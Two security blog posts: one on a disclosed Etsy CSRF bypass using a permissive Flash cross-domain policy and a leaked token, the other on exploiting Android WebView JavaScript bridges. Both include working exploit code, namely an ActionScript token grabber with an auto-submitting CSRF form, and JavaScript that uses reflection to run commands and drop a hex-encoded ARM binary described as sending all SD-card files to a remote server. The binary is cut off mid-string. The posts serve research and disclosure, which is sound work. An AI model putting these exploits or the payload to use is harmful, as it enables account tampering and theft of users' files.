Why cross-domain policy files are occasionally interesting to look at.

By | July 23, 2013

A cross-domain policy file grants a web client such as a Flash application or a Siverlight application the ability to make a cross-domain request and access the response. As in it allows a Flash application on www.evil.com to make a HTTP request to www.bank.com and read the HTTP response, which may allow an attacker to acquire sensitive information (account information, sensitive messages, CSRF tokens, other junk, etc.) assuming the victim is logged into www.bank.com and the target domain defines an overly permissive cross-domain policy file such as the following. For Flash, the master cross-domain policy file will exist in the root directory of the web server (www.bank.com/crossdomain.xml), but it is also possible that policy files exist under other directories as well assuming the permitted-cross-domain-policies attribute is set properly (the default value is now master-only thus preventing the classic “upload text that looks like a cross-domain policy file to a web-based email client” attack). Read the specification for more info.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>

There are some legitimate use cases for defining a cross-domain policy file that allows requests from any domain. Etsy (popular online marketplace for handmade goods) has created an open API that allows developers to create their own applications that hook into Etsy. There is both a normal JSON interface and a JSONP interface (for cross-domain requests via JavaScript). Etsy clearly wants to allow access cross-domain to their API so their Flash cross-domain policy file (http://openapi.etsy.com/crossdomain.xml) use to look something like the following.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*"/>
  <allow-access-from domain="*.etsy.com"/>
  <allow-access-from domain="etsy.com"/>
</cross-domain-policy>

Consider an example request (requires an API key) and response, the web server normally returns a plaintext response that contains JSON data.

#Request URL - http://openapi.etsy.com/v2/listings/545?api_key=dk2egcjdxvjdoei9eqcxxhqp&method=GET

#Response -
{"count":1,"results":[{"listing_id":545,"state":"expired"}],"params":{"listing_id":"545"},"type":"Listing","pagination":{},"ok":true}

Basically, nothing worth stealing cross-domain, but if we trigger an unhandled exception, the web server returns a HTML response which is suspicious since all the other error messages are provided as plaintext. And, the response contains the CSRF nonce that is associated with www.etsy.com (not good).

#Request URL - http://openapi.etsy.com/v2/listings/545?api_key=dk2egcjdxvjdoei9eqcxxhqp&method=THIS_IS_BOGUS

# Response -
HTTP/1.1 400 Bad Request
... Removed for brevity ...
    <meta name="viewport" content="width=device-width, initial-
scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="csrf_nonce"
content="vmERUYpOVBfJkSUeZqt2pl58YTU," />
    <meta name="uaid_nonce" content="2:1363851826:o-
mGAbAYN0LAarX736zfMVYzfFhd:trXznCKuhL8QxFmcIOHb7OuFnCDe:8968e9f8
b6deda8013597079ce47cdcc055f8fff" />
    <meta property="fb:app_id" content="89186614300" />
    <meta property="og:site_name" content="Etsy" />
    <meta property="og:locale" content="en_US" />
    <meta name="robots" content="noindex,nofollow" />
    <title>Etsy - Your place to buy and sell all things
handmade, vintage, and supplies</title>
    <style type="text/css">
        .clear:after {
            content: ".";
            display: block;
... Removed for brevity ...

So given that openapi.etsy.com has an overly permissive cross-domain policy, which is not a problem in itself in this case, session identifier cookies are overly scoped, and openapi.etsy.com leaks CSRF tokens used on www.etsy.com, it was possible to bypass the CSRF mitigations implemented on www.etsy.com. The following is the basic workflow of the attack.

1) Victim is logged into www.etsy.com (sessions stay active for about 2 years).
2) Victim visits www.attack.com which includes a Flash application embedded in the page.
3) Flash application attempts to make a HTTP request to openapi.etsy.com to trigger the error page that contains a CSRF token.
4) Flash makes a pre-flight request to openapi.etsy.com/crossdomain.xml to determine whether or not the application should be allowed to make the request stated in the previous step.
5) Given that the policy file allows requests from any domain, the HTTP request goes through. Note that the browser sends along the proper cookies associated with etsy.com since the victim is logged in.
6) The Flash application parses the response for the CSRF token and passes the CSRF token to its parent webpage via JavaScript.
7) The parent webpage builds a CSRF payload with the correct CSRF token and auto submits it to www.etsy.com to perform some random task. Note that I built a HTML based CSRF exploit instead of a Flash based CSRF exploit due to restrictions on how the navigateToURL function can be used.

The following is an example exploit written in ActionScript that can be compiled via mxmlc.

<?xml version="1.0" encoding="utf-8"?>
<s:Application xmlns:fx="http://ns.adobe.com/mxml/2009"
 xmlns:s="library://ns.adobe.com/flex/spark"
 xmlns:mx="library://ns.adobe.com/flex/mx" 
 creationComplete="initApp()">
	<fx:Script>
		<![CDATA[
		import flash.net.*;
		import 	mx.rpc.http.*;
		import mx.rpc.events.*;
		import mx.controls.Alert;
					
		var stream:URLStream = new URLStream();
		private function initApp():void
		{
			stream.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
			stream.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
			stream.load(new URLRequest("http://openapi.etsy.com/v2/listings/545.js?api_key=dk2egcjdxvjdoei9eqcxxhqp&callback=call_func&method=BLAH"));
		}

		private function ioErrorHandler(event:IOErrorEvent):void {
			// Ignore the 400 error.
		}
		
		private function httpStatusHandler(event:HTTPStatusEvent):void {
			var bytesAvailable:int = stream.bytesAvailable;
			var response:String = "";
			var i:int;
			
			for(i = 0; i<bytesAvailable; i++) {
				response += String.fromCharCode(stream.readByte());
			}
			responseArea.text = response;
			
			var csrfTokenIdx:int = response.indexOf("csrf_nonce");
			var csrfToken:String = response.substr(csrfTokenIdx+21,28);
			var jReq:URLRequest = new URLRequest("javascript:passTheToken('"+csrfToken+"')");
			navigateToURL(jReq, "_self");
		}
		]]>
	</fx:Script>
	<s:Group>
	<s:layout>
	<s:HorizontalLayout gap="5" verticalAlign="justify" />
	</s:layout>
	<mx:TextArea id="responseArea" width="400" height="450" text="" />
	</s:Group>
</s:Application>

The parent page contains the Flash exploit application and the HTML CSRF exploit. This example simply changes the user’s profile information.

<html>
	<body>
		<form id="f" action="https://www.etsy.com/your/profile" method="POST" enctype="application/x-www-form-urlencoded">
			<input type="hidden" name="avatar" value="" />
			<input type="hidden" name="gender" value="male" />
			<input type="hidden" name="city3" value="Raleigh, Mississippi" />
			<input type="hidden" name="new_city" value="Raleigh" />
			<input type="hidden" name="new_region" value="Mississippi" />
			<input type="hidden" name="new_countrycode" value="" />
			<input type="hidden" name="new_latlon" value="32.0335,-89.5223" />
			<input type="hidden" name="city3_dup" value="Raleigh, Mississippi" />
			<input type="hidden" name="new_geonamesid" value="" />
			<input type="hidden" name="geonamesid" value="4442797" />
			<input type="hidden" name="birth-month" value="4" />
			<input type="hidden" name="birth-day" value="5" />
			<input type="hidden" name="bio" value="CSRFChangeBioParty" />
			<input type="hidden" name="materials" value="change" />
			<input type="hidden" name="publicize-my-shop" value="on" />
			<input type="hidden" name="publicize-favorite-items" value="on" />
			<input type="hidden" name="publicize-favorite-shops" value="on" />
			<input type="hidden" name="publicize-my-treasuries" value="on" />
			<input type="hidden" name="publicize-my-teams" value="on" />
			<input type="text" name="_nnc" id="_nnc" value="CHANGE_ME" size="40" />
			<input type="hidden" name="action" value="process" />
		</form>
		<script>
		function passTheToken(csrfToken) {
			document.getElementById('_nnc').value = csrfToken;
			setTimeout("document.forms['f'].submit();",1000);
		}
		</script>

		<script type="text/javascript" src="../swfobject.js"></script>
		<script>
			var flashvars = {};
			var params = {};		
			var attributes = {};

			swfobject.embedSWF("etsyToken.swf", "content", "500", "500", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
		</script>
		<script type="text/javascript" src="../swfobject.js"></script>
		<div id="content">
			<p>Get Flash because otherwise the exploit doesn't work :(</p>
		</div>
	</body>
</html>

So how did Etsy fix the vulnerability (and yes I am being responsible).

  • Remove the CSRF token from the error page (get rid of the specific information leakage issue).
  • Change the cross-domain policy for Flash to only allow cross-domain requests from etsy.com subdomains.

Restricting only the Flash cross-domain policy was an interesting choice given the nature of the API and since they did not change the Silverlight cross-domain policy (clientaccesspolicy.xml), which still allows requests from any domain. In this specific case, the server responds with a 400 Bad Request status code, which means that a Siverlight application using the Browser HTTP handling mode would not be able to read the HTTP response regardless of the cross-domain policy (MSDN contains good information about Client vs. Browser mode for Siverlight applications). Flash contains no such restriction for cross-domain requests, which highlights another subtle different between how Flash and Siverlight handle cross-domain requests differently.

Abusing WebView JavaScript Bridges

By | December 21, 2012

Android applications often use the WebView class to embed a browser component within an Activity in order to display online content.  For example, the following code will show the Google homepage within an Activity.

WebView webView = new WebView (R.id.webView1);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl("http://www.google.com");

An application can inject Java objects into a WebView via the addJavascriptInterface function.  This allows JavaScript code to call the public methods of the injected Java object.  Exposing Java objects to JavaScript could have some negative security implications, such as allowing JavaScript to invoke native phone functionality (sending SMS to premium numbers, accessing account information, etc.) or allowing JavaScript to subvert existing browser security controls such as the same origin policy.  I could not find much information documenting how to exploit these issues, but an academic paper titled Attacks on WebView in the Android System explores a number of attacks and describes a situation in which a file utilities object is exposed to JavaScript code thus allowing attackers to manipulate the file system if an attacker can control any of the content rendered in a WebView via MiTM, JavaScript injection, or redirection attacks.

// Java code
wv.addJavascriptInterface(new FileUtils(), "FUtil");
...
<!-- JavaScript code -->
<script type="text/javascript">// <![CDATA[
filename = '/data/data/com.livingsocial.www/' + id +'_cache.txt';
FUtil.write(filename, data, false);
// ]]></script>

The paper goes on to state that “in our case studies, 30% Android apps use addJavascriptInterface. How severe the problems of those apps are depends on the types of interfaces they provide and the permissions assigned to them.”  The following code exposes the SmokeyBear class to JavaScript, but only declares one public function that returns a string.  Is this interface safe to expose?

webView.addJavascriptInterface(new SmokeyBear(), "SmokeyBear");
...
public class SmokeyBear {
	public String getAdvice() {
		return "Only You Can Prevent Wildfires.";
	}
}

Probably not. Prior to Android 4.2, if an application uses the addJavascriptInterface and allows an attacker to control the content rendered in a WebView, then an attacker can take control over the parent application regardless of the type of interface exposed contrary to popular belief.  Consider the following code that uses reflection to acquire a reference to a Runtime object via the SmokeyBear interface in order to write an ARM executable to the target application’s data directory and then execute it via Linux commands.  The executable in this case sends all files stored on the SD card to a remote server (steal photos, videos, and any other data improperly stored on the SD card). This type of payload works against unrooted and rooted devices, since anything on the SD card is world readable and writable. If the attacker wants to break out of the Android application sandbox, an attacker could use this same technique to drop a root exploit onto the device (gingerbreak, rageagainstthecage, zergRush, psneuter, etc.) and then execute it.

<script>
function execute(cmdArgs)
{
	return SmokeyBear.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}	
	
function getContents(inputStream)
{
	var contents = "";
	var b = inputStream.read();
	var i = 1;
	while(b != -1) {
		var bString = String.fromCharCode(b);
		contents += bString;
		b = inputStream.read();
	}
	return contents;
}

var armBinary = "\\x7F\\x45\\x4C\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\xF0\\x88\\x00\\x00\\x34\\x00\\x00\\x00\\x80\\x22\\x00\\x00\\x02\\x00\\x00\\x05\\x34\\x00\\x20\\x00\\x06\\x00\\x28\\x00\\x18\\x00\\x15\\x00\\x01\\x00\\x00\\x70\\x10\\x13\\x00\\x00\\x10\\x93\\x00\\x00\\x10\\x93\\x00\\x00\\x40\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x34\\x00\\x00\\x00\\x34\\x80\\x00\\x00\\x34\\x80\\x00\\x00\\xC0\\x00\\x00\\x00\\xC0\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xF4\\x00\\x00\\x00\\xF4\\x80\\x00\\x00\\xF4\\x80\\x00\\x00\\x13\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x80\\x00\\x00\\x50\\x13\\x00\\x00\\x50\\x13\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\xA0\\x00\\x00\\x00\\xA0\\x00\\x00\\x80\\x01\\x00\\x00\\x84\\x01\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x02\\x00\\x00\\x00\\x20\\x20\\x00\\x00\\x20\\xA0\\x00\\x00\\x20\\xA0\\x00\\x00\\xD8\\x00\\x00\\x00\\xD8\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x2F\\x73\\x79\\x73\\x74\\x65\\x6D\\x2F\\x62\\x69\\x6E\\x2F\\x6C\\x69\\x6E\\x6B\\x65\\x72\\x00\\x00\\x25\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x28\\x00\\x00\\x00\\x1D\\x00\\x00\\x00\\x27\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x0C\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1E\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x29\\x00\\x00\\x00\\x2A\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x22\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x0A\\x00\\x00\\x00\\x0E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x25\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x2B\\x00\\x00\\x00\\x1A\\x00\\x00\\x00\\x1B\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x21\\x00\\x00\\x00\\x1F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1C\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x23\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEA\\x00\\x00\\x00\\x90\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x7A\\x00\\x00\\x00\\x9C\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x6C\\x00\\x00\\x00\\xA8\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x8C\\x00\\x00\\x00\\xB4\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x57\\x00\\x00\\x00\\xC0\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x4D\\x00\\x00\\x00\\xCC\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x10\\x01\\x00\\x00\\x50\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\xBA\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x4B\\x01\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x46\\x00\\x00\\x00\\xD8\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x3C\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x1D\\x00\\x00\\x00\\xE4\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xD4\\x00\\x00\\x00\\xF0\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x02\\x01\\x00\\x00\\x10\\x93\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x81\\x00\\x00\\x00\\xFC\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xA9\\x00\\x00\\x00\\x08\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x14\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x5F\\x00\\x00\\x00\\x20\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x4A\\x01\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x65\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x04\\x00\\x00\\x00\\x11\\x00\\x12\\x00\\xF2\\x00\\x00\\x00\\x2C\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x38\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x30\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x65\\x00\\x00\\x00\\x44\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x91\\x00\\x00\\x00\\x50\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xE5\\x00\\x00\\x00\\x5C\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xCC\\x00\\x00\\x00\\x68\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x56\\x01\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x9D\\x00\\x00\\x00\\x74\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xFA\\x00\\x00\\x00\\x80\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x86\\x00\\x00\\x00\\x8C\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x6B\\x00\\x00\\x00\\x98\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\xA4\\x00\\x00\\x00\\xA4\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x29\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x17\\x01\\x00\\x00\\x84\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x24\\x00\\x00\\x00\\xB0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x73\\x00\\x00\\x00\\xBC\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x29\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x5E\\x01\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\xF1\\xFF\\x1C\\x01\\x00\\x00\\x80\\xA1\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x12\\x00\\xDC\\x00\\x00\\x00\\xC8\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x92\\x00\\x00\\x00\\xD4\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x98\\x00\\x00\\x00\\xE0\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x00\\x6C\\x69\\x62\\x63\\x2E\\x73\\x6F\\x00\\x5F\\x5F\\x6C\\x69\\x62\\x63\\x5F\\x69\\x6E\\x69\\x74\\x00\\x6C\\x69\\x62\\x6D\\x2E\\x73\\x6F\\x00\\x73\\x6F\\x63\\x6B\\x65\\x74\\x00\\x65\\x78\\x69\\x74\\x00\\x5F\\x5F\\x61\\x65\\x61\\x62\\x69\\x5F\\x75\\x6E\\x77\\x69\\x6E\\x64\\x5F\\x63\\x70\\x70\\x5F\\x70\\x72\\x31\\x00\\x66\\x6F\\x70\\x65\\x6E\\x00\\x6D\\x61\\x6C\\x6C\\x6F\\x63\\x00\\x69\\x6E\\x65\\x74\\x5F\\x70\\x74\\x6F\\x6E\\x00\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x66\\x73\\x65\\x65\\x6B\\x00\\x66\\x74\\x65\\x6C\\x6C\\x00\\x73\\x70\\x72\\x69\\x6E\\x74\\x66\\x00\\x73\\x74\\x72\\x6C\\x65\\x6E\\x00\\x73\\x74\\x72\\x63\\x70\\x79\\x00\\x73\\x65\\x6E\\x64\\x00\\x66\\x67\\x65\\x74\\x63\\x00\\x72\\x65\\x63\\x76\\x00\\x66\\x63\\x6C\\x6F\\x73\\x65\\x00\\x66\\x72\\x65\\x65\\x00\\x73\\x74\\x72\\x63\\x6D\\x70\\x00\\x73\\x74\\x61\\x74\\x00\\x5F\\x5F\\x73\\x74\\x61\\x63\\x6B\\x5F\\x63\\x68\\x6B\\x5F\\x66\\x61\\x69\\x6C\\x00\\x5F\\x5F\\x73\\x74\\x61\\x63\\x6B\\x5F\\x63\\x68\\x6B\\x5F\\x67\\x75\\x61\\x72\\x64\\x00\\x6F\\x70\\x65\\x6E\\x64\\x69\\x72\\x00\\x72\\x65\\x61\\x64\\x64\\x69\\x72\\x00\\x63\\x6C\\x6F\\x73\\x65\\x64\\x69\\x72\\x00\\x74\\x69\\x6D\\x65\\x00\\x70\\x75\\x74\\x63\\x68\\x61\\x72\\x00\\x73\\x72\\x61\\x6E\\x64\\x34\\x38\\x00\\x6C\\x72\\x61\\x6E\\x64\\x34\\x38\\x00\\x5F\\x5F\\x65\\x78\\x69\\x64\\x78\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x5F\\x5F\\x65\\x78\\x69\\x64\\x78\\x5F\\x65\\x6E\\x64\\x00\\x5F\\x5F\\x64\\x61\\x74\\x61\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x5F\\x65\\x64\\x61\\x74\\x61\\x00\\x5F\\x5F\\x62\\x73\\x73\\x5F\\x73\\x74\\x61\\x72\\x74\\x00\\x5F\\x5F\\x62\\x73\\x73\\x5F\\x73\\x74\\x61\\x72\\x74\\x5F\\x5F\\x00\\x5F\\x5F\\x62\\x73\\x73\\x5F\\x65\\x6E\\x64\\x5F\\x5F\\x00\\x5F\\x5F\\x65\\x6E\\x64\\x5F\\x5F\\x00\\x5F\\x73\\x74\\x61\\x63\\x6B\\x00\\x64\\x65\\x76\\x69\\x63\\x65\\x49\\x64\\x00\\x00\\x00\\x78\\xA1\\x00\\x00\\x15\\x08\\x00\\x00\\x7C\\xA1\\x00\\x00\\x15\\x14\\x00\\x00\\x04\\xA1\\x00\\x00\\x16\\x01\\x00\\x00\\x08\\xA1\\x00\\x00\\x16\\x02\\x00\\x00\\x0C\\xA1\\x00\\x00\\x16\\x03\\x00\\x00\\x10\\xA1\\x00\\x00\\x16\\x04\\x00\\x00\\x14\\xA1\\x00\\x00\\x16\\x05\\x00\\x00\\x18\\xA1\\x00\\x00\\x16\\x06\\x00\\x00\\x1C\\xA1\\x00\\x00\\x16\\x0A\\x00\\x00\\x20\\xA1\\x00\\x00\\x16\\x0C\\x00\\x00\\x24\\xA1\\x00\\x00\\x16\\x0D\\x00\\x00\\x28\\xA1\\x00\\x00\\x16\\x0F\\x00\\x00\\x2C\\xA1\\x00\\x00\\x16\\x10\\x00\\x00\\x30\\xA1\\x00\\x00\\x16\\x11\\x00\\x00\\x34\\xA1\\x00\\x00\\x16\\x12\\x00\\x00\\x38\\xA1\\x00\\x00\\x16\\x15\\x00\\x00\\x3C\\xA1\\x00\\x00\\x16\\x16\\x00\\x00\\x40\\xA1\\x00\\x00\\x16\\x18\\x00\\x00\\x44\\xA1\\x00\\x00\\x16\\x19\\x00\\x00\\x48\\xA1\\x00\\x00\\x16\\x1A\\x00\\x00\\x4C\\xA1\\x00\\x00\\x16\\x1B\\x00\\x00\\x50\\xA1\\x00\\x00\\x16\\x1D\\x00\\x00\\x54\\xA1\\x00\\x00\\x16\\x1E\\x00\\x00\\x58\\xA1\\x00\\x00\\x16\\x1F\\x00\\x00\\x5C\\xA1\\x00\\x00\\x16\\x20\\x00\\x00\\x60\\xA1\\x00\\x00\\x16\\x21\\x00\\x00\\x64\\xA1\\x00\\x00\\x16\\x24\\x00\\x00\\x68\\xA1\\x00\\x00\\x16\\x25\\x00\\x00\\x6C\\xA1\\x00\\x00\\x16\\x29\\x00\\x00\\x70\\xA1\\x00\\x00\\x16\\x2A\\x00\\x00\\x74\\xA1\\x00\\x00\\x16\\x2B\\x00\\x00\\x04\\xE0\\x2D\\xE5\\x04\\xE0\\x9F\\xE5\\x0E\\xE0\\x8F\\xE0\\x08\\xF0\\xBE\\xE5\\x6C\\x19\\x00\\x00\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x6C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x64\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x5C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x54\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x4C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x44\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x3C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x34\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x2C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x24\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x1C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x14\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x0C\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x04\\xF9\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xFC\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xF4\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xEC\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xE4\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xDC\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xD4\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xCC\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xC4\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xBC\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xB4\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xAC\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\xA4\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x9C\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x94\\xF8\\xBC\\xE5\\x00\\xC6\\x8F\\xE2\\x01\\xCA\\x8C\\xE2\\x8C\\xF8\\xBC\\xE5\\x00\\